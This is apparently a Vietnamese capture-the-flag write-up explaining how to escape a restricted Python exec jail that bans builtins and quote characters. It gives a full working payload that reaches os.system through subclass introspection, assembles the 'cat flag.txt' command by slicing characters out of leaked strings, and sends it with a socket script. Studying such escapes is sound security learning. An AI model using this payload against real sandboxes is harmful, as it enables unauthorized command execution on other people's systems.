[Cyber Apocalypse 2021]- Misc 'Build yourself in' writeup
Đề bài
Cũng như mấy bài misc khác, bài này cũng chỉ cho 1 ip và port để có thể connect vào.
Khi tôi connect vào và điền một vài thứ ngớ ngẩn vào để thăm dò cách hoạt động của server, thì tôi nhận được một thông báo lỗi như sau:
Đúng vậy, đó là một chương trình chạy bằng python gồm một số thống tin như sau:
- File python: /app/build_yourself_in.py
- Có sử dụng exec: exec(text, {’builtins’: None, ‘print’:print})
- Dòng lỗi
TypeError: 'NoneType' object is not subscriptable
: Có thể đoán là dữ liệu nhập vào, sẽ được chuyển vàoexec
để chạy.
Và dưới dây là thông tin đó.
[ ~]$ nc 206.189.121.131 30736
3.8.9 (default, Apr 15 2021, 05:07:04)
[GCC 10.2.1 20201203]
[*] Only 👽 are allowed!
>>> asdfsdfdsf
Traceback (most recent call last):
File "/app/build_yourself_in.py", line 16, in <module>
main()
File "/app/build_yourself_in.py", line 13, in main
exec(text, {'__builtins__': None, 'print':print})
File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
[ ~]$
Đây là một bài code injection
và ban đầu chưa để ý lắm, tôi đã thử payload như bên dưới.
Và tôi đã nhận về được lỗi: No quotes are allowed!
. Vậy là chương trình đã chặn các dấu quotes như: '
và "
Vậy thì tôi thử dùng payload khác không có quotes, vì quotes là để dùng cho object String
trong python, nên tôi thử sử dụng object tupe để không sử dụng quotes.
Nhưng sau khi thử xong, chương trình đã không còn trả về lỗi No quotes are allowed!
nữa, nhưng mà cũng chả trả về gì cả. Đến đây thì tôi đã nhìn lại phần lỗi ban đầu, và để ý hàm exec(text, {'__builtins__': None, 'print':print})
. Với hàm exec này đại khái là phần giá trị của biến text
sẽ chỉ có thể chạy được hàm print
mà thôi, còn các hàm __builtins__
đã bị disable.
Thực ra thì đối với payload tôi thử từ nãy giờ, cũng chả cần quan tâm '__builtins__': None
làm gì, bởi vì nó cũng không sử dụng các hàm __builtins__
, mà đang sử dụng object tupe
, nhưng phần 'print':print
thì lại có ích, tôi đã thử thêm print
trước payload và nhận được kết quả như sau.
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, ***<class 'os._wrap_close'>***, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
Đến đây thì hi vọng về code injection đã có, đối với dữ liệu trên, tôi đã viết 1 đoạn code để đếm và tìm ra class có tên là _wrap_close
(class này hoạt động như nào thì các bạn google nha, bài hơi dài không giải thích được hết).
data = "[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]"
data = data.split(",")
index = 0
for i in data:
if i.find("_wrap_close") != -1:
print("index: {}".format(index))
print(i)
index += 1
OK, vậy là vị trí của <class 'os._wrap_close'>
là 132. Chúng ta xem nó có thể gọi được những hàm/module global nào nha.
Đó là tất cả các hàm global có thể gọi, chúng to có thể xem được các hàm global, đồng nghĩa với việc có thể tìm được các hàm để có thể chạy command code. Hàm tôi hướng tới là buils in system
.
Vậy thì trong rất nhiều class/func global đó, tôi đã tìm được vị trí của buils in system
ở vị trí 45. Vì giá trị của globals trả về là một dict gồm, key
là class, value
là class. Ví dụ:
'_wrap_close': <class 'os._wrap_close'>
Nên ta cần biến đổi một tý. Chuyển đổi tất cả values thành 1 mảng
[(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()]
Sau khi chuyển đổi, dữ liệu sẽ như vầy.
('_wrap_close', <class 'os._wrap_close'>)
Bây giờ thì xem vị trí 45 có gì nào.
[(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45]
Nhớ thêm print
và và thử chạy xem như nào nhé.
Chúng ta đã có được một tuple, vậy thì để lấy được function system, chúng ta lấy vị trí 1 nhé.
[(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]
Đó, đã có được hàm system
nha, Bây giờ chỉ cần chạy
# [(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]("<<command>>")
[(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]("ls")
Là có thể chạy lệnh command, tuy nhiên server đã chặn "
và '
Bắt buộc tôi phải tìm cách khác, đó là sử dụng những dữ liệu server trả về dùng phương pháp cắt chuỗi, cộng chuỗi, … để tạo thành một lệnh command. Vì dữ liệu trả về có cả String, ta có thể thoải mái sử dụng chúng.
Để cắt chuỗi để có ls
. Dùng để xác định xem folder run code có những file gì.
s -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][1:][0]
l -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9]
ls -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][1:][0]
Tôi thử chạy ls
thử nha.
print([(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]([(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][1:][0]))
Ok, đã chạy được, thấy được file flag.txt
rồi.
Bây giờ cắt chuỗi tiếp để có thể tìm ra chuỗi: “cat flag.txt”
c -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5]
a -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4]
t -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]
f -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3]
g -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8]
. -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4]
x -> [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22]
space -> [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5]
Bây giờ ghép thành được chuỗi cat flag.txt
.
[(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]
Payload cuối cùng là.
print([(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]([(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]))
Thử chạy payload và đọc flag nha.
from socket import socket
from telnetlib import Telnet
sock = socket()
sock.connect(('206.189.121.131', 30736))
print(sock.recv(1024))
sock.send(b'print([(k,v) for k,v in ().__class__.__base__.__subclasses__()[132].__init__.__globals__.items()][45][1]([(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][0][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][1][1][4:5] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][5][0][2:3] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][8:9] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][0][3:4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][2][0][7:8] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][6][1][-4] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4] + [i for i in [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][-5][1].values()][1][21:22] + [(k,v) for k,v in ().__class__.__base__.__subclasses__()[133].__init__.__globals__.items()][0][1][3:4]))\n')
flag = sock.recv(1024)
print(flag)
sock.close()
Đã lấy được flag.
Flag là: CHTB{n0_j4il_c4n_h4ndl3_m3!}